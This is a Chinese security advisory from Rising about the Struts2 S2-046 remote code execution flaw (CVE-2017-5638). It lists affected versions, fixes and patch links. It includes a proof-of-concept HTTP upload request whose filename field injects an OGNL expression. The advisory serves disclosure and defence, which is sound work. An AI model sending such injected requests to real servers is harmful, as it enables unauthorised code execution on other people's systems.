瑞星预警:Struts2再曝高危漏洞S2-046

2017-03-21   

近日,安全研究人员发现著名J2EE框架--Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-046),CVE编号为:CVE-2017-5638,风险等级为高危漏洞。

概述

近日,安全研究人员发现著名J2EE框架--Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-046),CVE编号为:CVE-2017-5638,风险等级为高危漏洞。

在此之前,瑞星已经发布Apache Struts 2存在高危远程命令执行漏洞,漏洞编号为S2-045,CVE编号CVE-2017-5638。

相关阅读☞瑞星发布紧急安全警报:Struts 2再爆高危远程漏洞

如果您的企业已经按照S2-045漏洞的修复方法升级到2.3.32或者2.5.10.1版本,本次将不受影响。

※Struts是Apache基金会Jakarta项目组的一个开源项目,它采用MVC 模式,帮助java开发者利用J2EE开发 Web 应用。目前,Struts广泛应用于大型互联网企业、政府、金融机构等网站建设,并作为网站开发的底层模板使用。

漏洞详情

漏洞编号:S2-046

CVE编号:CVE-2017-5638

漏洞类型:远程代码执行

漏洞级别:高危

漏洞风险:黑客通过利用漏洞可以实现远程命令执行。

影响版本:struts2.3.5- struts2.3.31 , struts2.5-struts2.5.10。

漏洞描述:使用Jakarta插件处理文件上传时可能导致远程代码执行漏洞

触发条件: 当攻击者通过Content-Length或者Content-Disposition构造恶意的OGNL内容时可能会造成远程代码执行。

POC代码

POST /doUpload.action HTTP/1.1

Host: localhost:8080

Content-Length: 10000000

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z

Connection: close

------WebKitFormBoundaryAnmUgTEhFhOZpr9z

Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

Content-Type: text/plain

Kaboom

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

修复建议

使用Jakarta文件Multipart用户。

升级至安全版本 Struts 2.3.32 或者 Struts 2.5.10.1

更换同类型解析器,过滤Content-Disposition,Content-Type恶意代码

添加waf规则进行拦截恶意攻击

补丁地址

Struts 2.3.32:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32

Struts 2.5.10.1:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1

参考文档

https://cwiki.apache.org/confluence/display/WW/S2-046?from=timeline&isappinstalled=0

https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#

[责任编辑:瑞瑞]